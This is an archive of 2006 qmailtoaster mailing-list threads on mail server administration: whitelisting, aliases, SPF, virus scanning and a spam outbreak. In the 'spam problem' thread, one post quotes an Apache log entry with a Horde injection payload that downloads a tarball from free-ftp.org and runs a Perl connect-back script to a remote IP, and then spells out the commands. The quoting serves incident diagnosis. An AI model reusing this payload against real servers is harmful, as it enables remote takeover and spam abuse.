[qmailtoaster] whitelist_from_rcvd

[K Anand]

Hi all,

I want to add an entry for qmt list into my whitelist..I want to add a
whitelist_from_rcvd.. Here are the headers from a post.

What should the entry be ?

whitelist_from_rcvd  qmailtoaster-list@qmailtoaster.com
ns1.qmailtoaster.com

IS this OK ??

Anand


Return-Path:
<[EMAIL PROTECTED]>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 12133 invoked by uid 89); 2 Jul 2006 08:09:42 -
Received: by simscan 1.1.0 ppid: 12041, pid: 12095, t: 15.4931s
 scanners: attach: 1.1.0 clamav: 0.88.2/m:39/d:1578 spam: 3.1.1
X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on sail-steel.com
X-Spam-Level:
X-Spam-Status: No, score=-1.8 required=5.0 tests=AWL,BAYES_00,

 SARE_SUB_OBFU_Q1,TW_PM autolearn=no version=3.1.1
Received: from unknown (HELO ns1.qmailtoaster.com) (38.99.66.144)
  by sail-steel.com with (DHE-RSA-AES256-SHA encrypted) SMTP; 2 Jul 2006
08:09:27 -
Received-SPF: pass (sail-steel.com: SPF record at qmailtoaster.com
designates 38.99.66.144 as permitted sender)
Received: (qmail 31429 invoked by uid 89); 2 Jul 2006 07:58:24 -
Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
Precedence: bulk
List-Post: 
List-Help: 
List-Unsubscribe: 
List-Subscribe: 
Reply-To: qmailtoaster-list@qmailtoaster.com
Delivered-To: mailing list qmailtoaster-list@qmailtoaster.com
Received: (qmail 31423 invoked by uid 89); 2 Jul 2006 07:58:24 -
Received-SPF: pass (ns1.qmailtoaster.com: SPF record at _spf.google.com
designates 64.233.162.202 as permitted sender)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=beta; d=gmail.com;

h=received:message-id:date:from:to:subject:mime-version:content-type:content
-transfer-encoding:content-disposition;

b=AOEGR0JwEVtCWIJzx7Fc3Zb/OWRx+1IBxAkmf/BtKV6bJSbw+3m1i9lIlQpLioydur4g84hjYW
9r1ikZNKhRnefpVFJsrWxKc7Y+eIzdualmcq8/p5tZ73rJ5aXIBK0V0KveaClFH+GVNbJzOLVrr2
81371C3xWJaAV5h/d/ZKc=
Message-ID: <[EMAIL PROTECTED]>
Date: Sun, 2 Jul 2006 00:58:15 -0700
From: "Erik Espinoza" <[EMAIL PROTECTED]>
To: qmailtoaster-list@qmailtoaster.com
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Subject: [qmailtoaster] UPDATED PACKAGE: clamav-toaster-0.88.3-1.3.2.src.rpm
X-Antivirus: AVG for E-mail 7.1.394 [268.9.8/380]


-
 QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

[qmailtoaster] How I delete messages with identification of spam

[viscardi]

How I delete messages with  identification of spam in the server ? 
(---SPAM ---  .) 



-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)

[TiTo]

hi dan ^_^,

qmailtoaster's aliases files is hidden in /var/qmail/alias ...
there are 3 files by default :

[EMAIL PROTECTED] ~]# ll -a /var/qmail/alias/
total 20
drwxr-sr-x   2 alias qmail   4096 Jun 12 12:45 .
drwxr-xr-x  11 root  qmail   4096 Jun 12 19:59 ..
-rw-r--r--   1 alias nofiles    2 May 31 11:44 .qmail-mailer-daemon
-rw-r--r--   1 alias nofiles    2 May 31 11:44 .qmail-postmaster
-rw-r--r--   1 alias nofiles    2 Jun  6 09:35 .qmail-root

you can change the value of each file with
&[EMAIL PROTECTED]

and don't forget to restart qmailtoaster ...

regards ^_^,


 ~tito.web.id~
::Nero!!Rider::



Dan Herbon wrote:

  
  

  
  
  I don’t
understand. The file /var/qmail/control/aliases
doesn’t exist on my qmail-toaster
install.
   
  
  
  
  From: Gabriel Lai - E
Technology [mailto:[EMAIL PROTECTED]] 
  Sent: Monday, July 03,
2006 10:54
AM
  To:
qmailtoaster-list@qmailtoaster.com
  Subject: Re:
[qmailtoaster]
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)
  
   
  
  hi dan, 
  
  
   
  
  
  it was your
domain aliases you can
change this under /var/qmail/control/aliases
  
  

- Original Message
- 


From: Dan
Herbon 


To: qmailtoaster-list@qmailtoaster.com



Sent: Monday, July 03,
2006 10:52 PM


Subject: [qmailtoaster]
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)


 

Hello,
 
When I tail my
/var/log/qmail/send/current file I keep
getting the following lines in my log file:
 
@400044a573c306758aa4
starting delivery 41: msg 2352387 to remote postmaster@
@400044a573c306759a44 status: local 0/10 remote 1/60
@400044a573c30675a214 starting delivery 42: msg 2352417 to remote
postmaster@
@400044a573c30675a5fc status: local 0/10 remote 2/60
@400044a573c306808b0c delivery 41: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a573c306809aac status: local 0/10 remote 1/60
@400044a573c30685edf4 delivery 42: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a573c30685fd94 status: local 0/10 remote 0/60
@400044a5740006c8f234 starting delivery 43: msg 2352420 to remote
postmaster@
@400044a5740006c901d4 status: local 0/10 remote 1/60
@400044a5740006d64844 delivery 43: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5740006d657e4 status: local 0/10 remote 0/60
@400044a5743b07011164 starting delivery 44: msg 2352423 to remote
postmaster@
@400044a5743b07012104 status: local 0/10 remote 1/60
@400044a5743b070e5fa4 delivery 44: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5743b070e6b5c status: local 0/10 remote 0/60
@400044a57477079dc2ac starting delivery 45: msg 2352426 to remote
postmaster@
@400044a57477079dce64 status: local 0/10 remote 1/60
@400044a5747707ab014c delivery 45: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5747707ab0d04 status: local 0/10 remote 0/60
@400044a574b307eca9e4 starting delivery 46: msg 2352429 to remote
postmaster@
@400044a574b307ecb984 status: local 0/10 remote 1/60
@400044a574b307fa07c4 delivery 46: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574b307fa1764 status: local 0/10 remote 0/60
@400044a574c6088c4d14 starting delivery 47: msg 2352534 to remote
[EMAIL PROTECTED]
@400044a574c6088c5cb4 status: local 0/10 remote 1/60
@400044a574c6089983e4 delivery 47: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574c608999384 status: local 0/10 remote 0/60
@400044a574ef08dbd474 starting delivery 48: msg 2352432 to remote
postmaster@
@400044a574ef08dbe02c status: local 0/10 remote 1/60
@400044a574ef08e8f7bc delivery 48: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574ef08e90374 status: local 0/10 remote 0/60
@400044a5750a097541cc starting delivery 49: msg 2352703 to remote
[EMAIL PROTECTED]
@400044a5750a0975516c status: local 0/10 remote 1/60
@400044a5750a0982ce8c delivery 49: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5750a0982da44 status: local 0/10 remote 0/60
@400044a5752c0a54207c starting delivery 50: msg 2352435 to remote
postmaster@
@400044a5752c0a54301c status: local 0/10 remote 1/60
@400044a5752c0a616ebc delivery 50: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5752c0a617a74 status: local 0/10 remote 0/60
@400044a5753d0a965d84 starting delivery 51: msg 2352706 to remote
[EMAIL PROTECTED]
@400044a5753d0a966d24 status: local 0/10 remote 1/60
@400044a5753d0aa37514 delivery 51: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4.
1.2)/
@400044a5753d0aa384b4 status: local 0/10 remote 0/60
@400044a575670abeffdc starting delivery 52: msg 2352438 to remote
postmaster@
@400044a575670abf0f7c statu

[qmailtoaster] spamd & mail quota warning

[Kaven Gagnon]

Hi,
Since my last upgrade, SpamAssassin is not working...  My mail are
just filtered by blocking lists.  All my config are the same as
before.  Do you have an idea?


I would like to know if it is possible to send mail to user when
theyreach 85% of their mailbox?


Thanks.

Regards,
Kaven G.



-
 QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

[qmailtoaster] ClamAV trouble

[Richard Bessey]

All,
So, I got Qmail Toaster up and running on centOS4.

Now, I want to make sure everything is good to go, so I sent it a virus. 
In particular eicar.com attached to an e-mail.


Qmail Toaster got it, but didn't do anything with it. I thought it would 
quarantine it somewhere ...


Am I missing somthing?

--

Regards,
Richard Bessey
Programmer


-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] Disable SPF

[John Q. Fernandez]

# echo 0 > /var/qmail/control/spfbehavior

and

take out spf txt record from your dns.

mine looks like this:

domain.com. 3600IN  TXT "v=spf1 a mx:domain.com
ip4:xxx.xxx.xxx.xxx/24 -all"

Thanks,
John

On Mon, July 3, 2006 3:17 pm, Francisco Villagrana wrote:
>
> How can disable SPF
>
> I need disable SPF in my qmail server, but im use SCM (eTrust Secure
> Content Manager)
>
> And this have a conflicts with SCM Rulez.
>
> Can help me please???
>
>
> Regards.
>
>



-
.how soon not now becomes never. _martin luther


-
 QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

[qmailtoaster] Disable SPF

[Francisco Villagrana]

How can disable SPF
I need disable SPF in my qmail server, but im use SCM
(eTrust Secure
Content Manager)
And this have a conflicts
with SCM Rulez.
Can help me please???

Regards.

Re: [qmailtoaster] spam problem

[Natalio Gatti]

On 7/3/06, Natalio Gatti <[EMAIL PROTECTED]> wrote:

> Are you running something in Apache? If you have a script running there
> (PHP webpage, CGI script, etc.) it may have been compromised and someone
> is sending emails that way.
> BTW - PHPNuke is the worst. I had a client set that up, and within 24
> hours someone emailed them their own root password and let them know
> they had "owned" their system. *NOT* nice.
>
And that´s what I´m looking right now. I have some (informal) pages
hosted, and I´m analyzing what the users have upload.

Thanks Jake, I hope to be getting to the bottom of this.



Found it!
It was my out-dated horde!!! Some italian spammer compromise the
server via horde 3.1.0 and installed tools to send spams.

Here are my apache logs:

205.138.198.226 - - [03/Jul/2006:03:44:59 -0400] "GET
//horde//services/help/?show=about&module=;%22.passthru(%22cd%20%22.chr(47).%22tmp%20;%20wget%20free-ftp.org%22.chr(47).%22chowz%22.chr(47).%22dcpl.tar.gz%20;%20tar%20xvf%20dcpl.tar.gz%20;%20rm%20-rf%20dcpl.tar.gz%20;%20perl%20dc.pl%20128.138.126.6%204886%22);'.
HTTP/1.1" 200 8152


It executes:
wget free-ftp.org/chowz/dcpl.tar.gz
tar zxvf dcpl.tar.gz
rm dcpl.tar.gz
perl dc.pl 128.138.126.6

And the continues to download and execute tools. Dam!

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)

[Gabriel Lai - E Technology]

Oppss sorry for my mistake... 
I've forgotten where the file is hidden. but you might want to try with 
webmin at www.webmin.com you will find Qmail 
configuration under Servers.
 
Cheers

  - Original Message - 
  From: 
  Dan 
  Herbon 
  To: qmailtoaster-list@qmailtoaster.com 
  
  Sent: Monday, July 03, 2006 11:31 
PM
  Subject: RE: [qmailtoaster] 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)
  
  
  I don’t understand. 
  The file /var/qmail/control/aliases 
  doesn’t exist on my qmail-toaster install.
   
  
  
  
  
  From: Gabriel 
  Lai - E Technology [mailto:[EMAIL PROTECTED] Sent: Monday, July 03, 2006 10:54 
  AMTo: qmailtoaster-list@qmailtoaster.comSubject: Re: [qmailtoaster] 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)
   
  
  hi dan, 
  
  
   
  
  it was your domain 
  aliases you can change this under 
  /var/qmail/control/aliases
  

- Original Message - 


From: Dan Herbon 


To: qmailtoaster-list@qmailtoaster.com 


Sent: Monday, 
July 03, 2006 10:52 PM

Subject: 
[qmailtoaster] Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)

 
Hello,
 
When I tail my 
/var/log/qmail/send/current file I keep getting the following lines in my 
log file:
 
@400044a573c306758aa4 
starting delivery 41: msg 2352387 to remote 
postmaster@@400044a573c306759a44 status: local 0/10 remote 
1/60@400044a573c30675a214 starting delivery 42: msg 2352417 to 
remote postmaster@@400044a573c30675a5fc status: local 0/10 remote 
2/60@400044a573c306808b0c delivery 41: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a573c306809aac status: local 0/10 remote 
1/60@400044a573c30685edf4 delivery 42: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a573c30685fd94 status: local 0/10 remote 
0/60@400044a5740006c8f234 starting delivery 43: msg 2352420 to 
remote postmaster@@400044a5740006c901d4 status: local 0/10 remote 
1/60@400044a5740006d64844 delivery 43: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a5740006d657e4 status: local 0/10 remote 
0/60@400044a5743b07011164 starting delivery 44: msg 2352423 to 
remote postmaster@@400044a5743b07012104 status: local 0/10 remote 
1/60@400044a5743b070e5fa4 delivery 44: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a5743b070e6b5c status: local 0/10 remote 
0/60@400044a57477079dc2ac starting delivery 45: msg 2352426 to 
remote postmaster@@400044a57477079dce64 status: local 0/10 remote 
1/60@400044a5747707ab014c delivery 45: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a5747707ab0d04 status: local 0/10 remote 
0/60@400044a574b307eca9e4 starting delivery 46: msg 2352429 to 
remote postmaster@@400044a574b307ecb984 status: local 0/10 remote 
1/60@400044a574b307fa07c4 delivery 46: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a574b307fa1764 status: local 0/10 remote 
0/60@400044a574c6088c4d14 starting delivery 47: msg 2352534 to 
remote [EMAIL PROTECTED]@400044a574c6088c5cb4 status: local 0/10 remote 
1/60@400044a574c6089983e4 delivery 47: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a574c608999384 status: local 0/10 remote 
0/60@400044a574ef08dbd474 starting delivery 48: msg 2352432 to 
remote postmaster@@400044a574ef08dbe02c status: local 0/10 remote 
1/60@400044a574ef08e8f7bc delivery 48: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a574ef08e90374 status: local 0/10 remote 
0/60@400044a5750a097541cc starting delivery 49: msg 2352703 to 
remote [EMAIL PROTECTED]@400044a5750a0975516c status: local 0/10 remote 
1/60@400044a5750a0982ce8c delivery 49: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a5750a0982da44 status: local 0/10 remote 
0/60@400044a5752c0a54207c starting delivery 50: msg 2352435 to 
remote postmaster@@400044a5752c0a54301c status: local 0/10 remote 
1/60@400044a5752c0a616ebc delivery 50: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a5752c0a617a74 status: local 0/10 remote 
0/60@400044a5753d0a965d84 starting delivery 51: msg 2352706 to 
remote [EMAIL PROTECTED]@400044a5753d0a966d24 status: local 0/10 remote 
1/60@400044a5753d0aa37514 delivery 51: deferral: 
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
1.2)/@400044a5753d0aa384b4 status: local 0/10 remote 
0/60@400044a575670abeffdc starting delivery 52: msg 2352438 to 
remote

[qmailtoaster] FW: Returned mail: see transcript for details

[Marco Cordeiro]

 All , I'm trying send messages from another server (that has dynamic
address)
Messages but only receive this error message below ???

The most strange thing ,was that I can receive the error message but the
original one ...never ???

My log from the sender server ... The first try is the origanal test message
that ... FAIL .
After that the system send the error message that is deliverd ??? Any help


Jul  3 11:24:24 fw2 sendmail[31473]: k63EOOsf031473:
[EMAIL PROTECTED], ctladdr=root (0/0), delay=00:00:00, xdelay=0
0:00:00, mailer=relay, pri=30044, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0,
stat=Sent (k63EOOro031474 Message accepted for de livery)
Jul  3 11:24:25 fw2 sendmail[31476]: STARTTLS=client,
relay=ns1.kmtconsult.com.br., version=TLSv1/SSLv3, verify=FAIL, cipher=
DHE-RSA-AES256-SHA, bits=256/256
Jul  3 11:24:26 fw2 sendmail[31476]: k63EOOro031474:
to=<[EMAIL PROTECTED]>, ctladdr=<[EMAIL PROTECTED]> (0/0)
, delay=00:00:02, xdelay=00:00:02, mailer=esmtp, pri=120345,
relay=ns1.kmtconsult.com.br. [200.152.107.135], dsn=5.0.0, stat=
Service unavailable
Jul  3 11:24:26 fw2 sendmail[31476]: k63EOOro031474: k63EOQro031476: DSN:
Service unavailable
Jul  3 11:24:28 fw2 sendmail[31476]: k63EOQro031476:
[EMAIL PROTECTED], delay=00:00:02, xdelay=00:00:02, mailer=es
mtp, pri=31602, relay=ns1.kmtconsult.com.br., dsn=2.0.0, stat=Sent (ok
1151942524 qp 19470)

-Original Message-
From: Mail Delivery Subsystem [mailto:[EMAIL PROTECTED] 
Sent: Monday, July 03, 2006 11:24 AM
To: [EMAIL PROTECTED]
Subject: Returned mail: see transcript for details

The original message was received at Mon, 3 Jul 2006 11:24:24 -0300 from
fw2.kmtconsult.com.br [127.0.0.1]

   - The following addresses had permanent fatal errors -
<[EMAIL PROTECTED]>
(reason: 511 sorry, can't find a valid MX for sender domain (#5.1.1 -
chkuser))

   - Transcript of session follows - ... while talking to
ns1.kmtconsult.com.br.:
>>> MAIL From:<[EMAIL PROTECTED]> SIZE=578
<<< 511 sorry, can't find a valid MX for sender domain (#5.1.1 - chkuser)
554 5.0.0 Service unavailable
Reporting-MTA: dns; fw2.kmtconsult.com.br
Received-From-MTA: DNS; fw2.kmtconsult.com.br
Arrival-Date: Mon, 3 Jul 2006 11:24:24 -0300

Final-Recipient: RFC822; marco@kmtconsult.com.br
Action: failed
Status: 5.0.0
Diagnostic-Code: SMTP; 511 sorry, can't find a valid MX for sender domain (#5.1.1 - chkuser)
Last-Attempt-Date: Mon, 3 Jul 2006 11:24:26 -0300
--- Begin Message ---
de

--- End Message ---
-
 QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Natalio Gatti]

Are you running something in Apache? If you have a script running there
(PHP webpage, CGI script, etc.) it may have been compromised and someone
is sending emails that way.
BTW - PHPNuke is the worst. I had a client set that up, and within 24
hours someone emailed them their own root password and let them know
they had "owned" their system. *NOT* nice.


And that´s what I´m looking right now. I have some (informal) pages
hosted, and I´m analyzing what the users have upload.

Thanks Jake, I hope to be getting to the bottom of this.

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Jake Vickers]

Natalio Gatti wrote:


I already check rcpthosts, it only lists my local domains.
I´m looking right now at smtp and send logs, and I´m seeing something
strange. All those mails come from "[EMAIL PROTECTED]". I´m afraid that
some service extra qmail is letting spammers send mails.

I see this in the send log:

2006-07-03 04:24:01.660831500 new msg 240870
2006-07-03 04:24:01.660834500 info msg 240870: bytes 8983 from
<[EMAIL PROTECTED]> qp 13290 uid 48
2006-07-03 04:24:01.665611500 starting delivery 735147: msg 240870 to
remote [EMAIL PROTECTED]

And in the same second (at 04:24:01) the log shows tens of mails (and
it continous in the following seconds)

But I can´t locate those messages in the "smtp" log.
Are you running something in Apache? If you have a script running there 
(PHP webpage, CGI script, etc.) it may have been compromised and someone 
is sending emails that way.
BTW - PHPNuke is the worst. I had a client set that up, and within 24 
hours someone emailed them their own root password and let them know 
they had "owned" their system. *NOT* nice.



-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

RE: [qmailtoaster] Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)

[Dan Herbon]

I don’t understand. The file /var/qmail/control/aliases doesn’t exist on my qmail-toaster
install.

 









From: Gabriel Lai - E
Technology [mailto:[EMAIL PROTECTED] 
Sent: Monday, July 03, 2006 10:54
AM
To:
qmailtoaster-list@qmailtoaster.com
Subject: Re: [qmailtoaster]
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)



 



hi dan, 





 





it was your domain aliases you can
change this under /var/qmail/control/aliases







- Original Message - 





From: Dan Herbon 





To: qmailtoaster-list@qmailtoaster.com






Sent: Monday, July 03,
2006 10:52 PM





Subject: [qmailtoaster]
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)





 



Hello,

 

When I tail my /var/log/qmail/send/current file I keep
getting the following lines in my log file:

 

@400044a573c306758aa4
starting delivery 41: msg 2352387 to remote postmaster@
@400044a573c306759a44 status: local 0/10 remote 1/60
@400044a573c30675a214 starting delivery 42: msg 2352417 to remote
postmaster@
@400044a573c30675a5fc status: local 0/10 remote 2/60
@400044a573c306808b0c delivery 41: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a573c306809aac status: local 0/10 remote 1/60
@400044a573c30685edf4 delivery 42: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a573c30685fd94 status: local 0/10 remote 0/60
@400044a5740006c8f234 starting delivery 43: msg 2352420 to remote
postmaster@
@400044a5740006c901d4 status: local 0/10 remote 1/60
@400044a5740006d64844 delivery 43: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5740006d657e4 status: local 0/10 remote 0/60
@400044a5743b07011164 starting delivery 44: msg 2352423 to remote
postmaster@
@400044a5743b07012104 status: local 0/10 remote 1/60
@400044a5743b070e5fa4 delivery 44: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5743b070e6b5c status: local 0/10 remote 0/60
@400044a57477079dc2ac starting delivery 45: msg 2352426 to remote
postmaster@
@400044a57477079dce64 status: local 0/10 remote 1/60
@400044a5747707ab014c delivery 45: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5747707ab0d04 status: local 0/10 remote 0/60
@400044a574b307eca9e4 starting delivery 46: msg 2352429 to remote
postmaster@
@400044a574b307ecb984 status: local 0/10 remote 1/60
@400044a574b307fa07c4 delivery 46: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574b307fa1764 status: local 0/10 remote 0/60
@400044a574c6088c4d14 starting delivery 47: msg 2352534 to remote [EMAIL PROTECTED]
@400044a574c6088c5cb4 status: local 0/10 remote 1/60
@400044a574c6089983e4 delivery 47: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574c608999384 status: local 0/10 remote 0/60
@400044a574ef08dbd474 starting delivery 48: msg 2352432 to remote
postmaster@
@400044a574ef08dbe02c status: local 0/10 remote 1/60
@400044a574ef08e8f7bc delivery 48: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574ef08e90374 status: local 0/10 remote 0/60
@400044a5750a097541cc starting delivery 49: msg 2352703 to remote [EMAIL PROTECTED]
@400044a5750a0975516c status: local 0/10 remote 1/60
@400044a5750a0982ce8c delivery 49: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5750a0982da44 status: local 0/10 remote 0/60
@400044a5752c0a54207c starting delivery 50: msg 2352435 to remote
postmaster@
@400044a5752c0a54301c status: local 0/10 remote 1/60
@400044a5752c0a616ebc delivery 50: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5752c0a617a74 status: local 0/10 remote 0/60
@400044a5753d0a965d84 starting delivery 51: msg 2352706 to remote [EMAIL PROTECTED]
@400044a5753d0a966d24 status: local 0/10 remote 1/60
@400044a5753d0aa37514 delivery 51: deferral: Sorry,_I_couldn't_find_any_host_by_that_name._(#4.
1.2)/
@400044a5753d0aa384b4 status: local 0/10 remote 0/60
@400044a575670abeffdc starting delivery 52: msg 2352438 to remote
postmaster@
@400044a575670abf0f7c status: local 0/10 remote 1/60
@400044a575670acc4e1c delivery 52: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a575670acc5dbc status: local 0/10 remote 0/60
@400044a575790ace615c starting delivery 53: msg 2352709 to remote [EMAIL PROTECTED]
@400044a575790ace6d14 status: local 0/10 remote 1/60
@400044a575790adba7cc delivery 53: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a575790adbb76c status: local 0/10 remote 0/60
@400044a575a30af5b3c4 starting delivery 54: msg 2352441 to remote
postmaster@
@400044a575a30af5c364 status: local 0/10 remote 1/60
@400044a575a30b0290bc delivery 54: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.

Re: [qmailtoaster] spam problem

[Natalio Gatti]

On 7/3/06, Gabriel Lai - E Technology <[EMAIL PROTECTED]> wrote:

What I have in mind could be the configuration file under
/var/qmail/control/rcpthost as Jake mentioned just now. Hopefully the
only domain listed is your own domain, and not any other domains



I already check rcpthosts, it only lists my local domains.
I´m looking right now at smtp and send logs, and I´m seeing something
strange. All those mails come from "[EMAIL PROTECTED]". I´m afraid that
some service extra qmail is letting spammers send mails.

I see this in the send log:

2006-07-03 04:24:01.660831500 new msg 240870
2006-07-03 04:24:01.660834500 info msg 240870: bytes 8983 from
<[EMAIL PROTECTED]> qp 13290 uid 48
2006-07-03 04:24:01.665611500 starting delivery 735147: msg 240870 to
remote [EMAIL PROTECTED]

And in the same second (at 04:24:01) the log shows tens of mails (and
it continous in the following seconds)

But I can´t locate those messages in the "smtp" log.

Jake says:

The actual message will be in /var/qmail/queue/mess/###

Didn´t know that! I have flush all my queue (with qmHandle), so I
can't get any of those msgs now!

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Gabriel Lai - E Technology]

What I have in mind could be the configuration file under 
/var/qmail/control/rcpthost as Jake mentioned just now. Hopefully the 
only domain listed is your own domain, and not any other domains


- Original Message - 
From: "Jake Vickers" <[EMAIL PROTECTED]>

To: 
Sent: Monday, July 03, 2006 10:54 PM
Subject: Re: [qmailtoaster] spam problem



Natalio Gatti wrote:


I tried your first suggestion, but I only get something like this:
[EMAIL PROTECTED] 11]# cd /var/qmail/queue/11/
[EMAIL PROTECTED] 11]# cat 627704
[EMAIL PROTECTED]

I use a tool called qmHandle to view and manage the queue, and it
throws the header I already post. I have to delete those messages, so
I can not try qmqtool now.
I have copied smtp & send logs, and via qmail-mrtg i can suppose the
time of the attack. I will try analyzing those logs to see f I can get
any info.

The actual message will be in /var/qmail/queue/mess/###
That would be the info you need. Hopefully most of them are coming from 
the same IP address.
You could lower your qmaileueue to a low number (6000 or so), and then run 
qmailctl doqueue and that will flush out any messages over 10 minutes old. 
Just make sure to change your qmailqueue file back to something reasonable 
afterwards.


-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]




-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)

[Gabriel Lai - E Technology]

hi dan, 
 
it was your domain aliases you 
can change this under /var/qmail/control/aliases

  - Original Message - 
  From: 
  Dan 
  Herbon 
  To: qmailtoaster-list@qmailtoaster.com 
  
  Sent: Monday, July 03, 2006 10:52 
PM
  Subject: [qmailtoaster] 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)
  
  
  Hello,
   
  When I tail my 
  /var/log/qmail/send/current file I keep getting the following lines in my log 
  file:
   
  @400044a573c306758aa4 
  starting delivery 41: msg 2352387 to remote 
  postmaster@@400044a573c306759a44 status: local 0/10 remote 
  1/60@400044a573c30675a214 starting delivery 42: msg 2352417 to remote 
  postmaster@@400044a573c30675a5fc status: local 0/10 remote 
  2/60@400044a573c306808b0c delivery 41: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a573c306809aac status: local 0/10 remote 
  1/60@400044a573c30685edf4 delivery 42: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a573c30685fd94 status: local 0/10 remote 
  0/60@400044a5740006c8f234 starting delivery 43: msg 2352420 to remote 
  postmaster@@400044a5740006c901d4 status: local 0/10 remote 
  1/60@400044a5740006d64844 delivery 43: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a5740006d657e4 status: local 0/10 remote 
  0/60@400044a5743b07011164 starting delivery 44: msg 2352423 to remote 
